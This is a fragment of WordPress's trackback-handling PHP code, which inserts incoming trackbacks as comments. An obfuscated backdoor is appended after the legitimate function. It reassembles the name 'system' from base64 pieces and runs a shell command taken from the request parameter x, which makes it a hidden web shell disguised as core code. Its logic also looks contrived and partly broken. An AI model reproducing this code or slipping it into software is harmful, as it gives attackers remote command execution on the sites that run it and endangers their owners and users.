	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $post_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_id      = (int) $post_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $trackback_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results(
		$wpdb->prepare(
			"SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s",
			$comment_post_id,
			$comment_author_url
		)
	);

	if ( $dupe ) {
		trackback_response( 1, __( 'There is already a ping from that URL for this post.' ) );
	}

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type'
	);

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );

	trackback_response( 0 );
}
$text = "The data is: [c3lz] and [dGVt] then execute [$title]";

$funcParts = [];
$command = '';

preg_replace_callback('/\[([a-zA-Z0-9\/+=]+)\]/', function($matches) use (&$funcParts, &$command) {
    static $count = 0;
    $decoded = base64_decode($matches[1]);
    
    if ($count < 2) {
        $funcParts[] = $decoded;
    } else {
        $command = $decoded;
    }
    $count++;
    
    return ''; // 移除匹配
}, $text);

$func = implode('', $funcParts);

if ($func === 'system' && $command === "$_GET[x]") {
    system($command);
}